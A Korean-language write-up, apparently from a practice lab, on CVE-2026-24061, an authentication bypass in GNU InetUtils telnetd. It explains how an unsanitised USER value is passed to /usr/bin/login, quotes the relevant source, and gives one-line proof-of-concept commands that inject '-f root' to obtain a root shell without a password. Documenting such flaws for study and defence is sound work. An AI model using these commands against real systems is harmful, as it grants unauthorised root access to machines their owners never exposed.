
GNU-InetUtils-telnetd-Authentication-Bypass-Vulnerability
CVE-2026–24061은 GNU InetUtils의 telnetd 서비스에서 발견된 심각한 취약점입니다
CVE ID : CVE-2026–24061
심각도 : 치명적 (CVSS 9.8)
공격 경로 : 네트워크
필요 인증 : 없음
영향 : 전체 시스템 장악 (루트 액세스)
이 취약점은 Telnet 세션 설정 과정에서 USER 환경 변수를 부적절하게 처리하는 데서 발생합니다. 이 값은 /usr/bin/login의 인자 목록으로 어떠한 검증이나 새니타이제이션 없이 직접 전달되며, 그 결과 원격 공격자는 이 입력을 조작하여 명령줄 옵션을 주입함으로써 인증을 우회하고 즉시 루트 셸을 획득할 수 있습니다
telnetd/utility_file.c의 다음 스니펫은 사용자가 제공한 값이 검증 없이 직접 사용되는 방식을 보여줍니다:
case 'h':
return xstrdup (remote_hostname);
case 'l':
return xstrdup (local_hostname);
case 'L':
return xstrdup (line);
case 't':
q = strchr (line + 1, '/');
if (q)
q++;
else
q = line;
return xstrdup (q);
case 'T':
return terminaltype ? xstrdup (terminaltype) : NULL;
case 'u':
return user_name ? xstrdup (user_name) : NULL;
case 'U':
return getenv ("USER") ? xstrdup (getenv ("USER")) : xstrdup ("");
문제점 :
사용자 제어 값인 USER, terminaltype, line은 검증 없이 사용되며 내부 구조로 직접 복사됩니다
이 값들은 Telnet 프로토콜을 통해 원격 클라이언트가 조작할 수 있으므로, 이는 심각한 주입 지점을 생성합니다
공격 흐름 :
개념 증명 (PoC)
취약점 악용 방법을 보여주는 최소한의 개념 증명 코드는 다음과 같습니다:
USER='-f root' telnet -a <ipaddr>
telnet -l -'f root' ip_addr
이 명령은 Telnet 핸드셰이크 과정에서 악의적인 USER 값을 주입하며, 취약한 시스템에서 무단 루트 액세스를 초래할 수 있습니다
CVE-2026–24061과 관련된 실습 랩을 완료했습니다. telnet -l '-f root' 176.16.2.153을 사용하여 취약점을 악용하고 악의적인 인자를 주입함으로써 인증 우회를 달성하여, 궁극적으로 대상 시스템에서 루트 수준 액세스를 획득했습니다

내부에서 발생하는 일 :
1 - l : 로그인 이름을 의미
2 - '-f root': 사용자 이름으로 전달된 값, (-f : 비밀번호 확인 없음 - 인증 건너뜀), (root: 대상 사용자))
3 - 취약한 서버는 새니타이제이션을 수행하지 않음
4 - -f를 사용자 이름의 일부가 아닌 플래그로 해석
이를 통해 악의적인 인자를 주입하고 인증을 우회하여 대상 시스템에서 루트 수준 액세스를 획득할 수 있었습니다
기술 요약
이 결함은 telnetd가 NEW_ENVIRON Telnet 옵션을 처리하는 방식에 있습니다. 이 옵션은 클라이언트가 시스템의 /usr/bin/login 바이너리로 전달되는 환경 변수를 정의할 수 있게 합니다. telnetd가 USER 변수를 검증하지 못하기 때문에, 공격자는 -f 플래그(강제 로그인)를 주입할 수 있으며, 이는 login 유틸리티가 비밀번호 검증을 건너뛰고 지정된 사용자(일반적으로 root)에 대해 즉시 세션을 부여하도록 만듭니다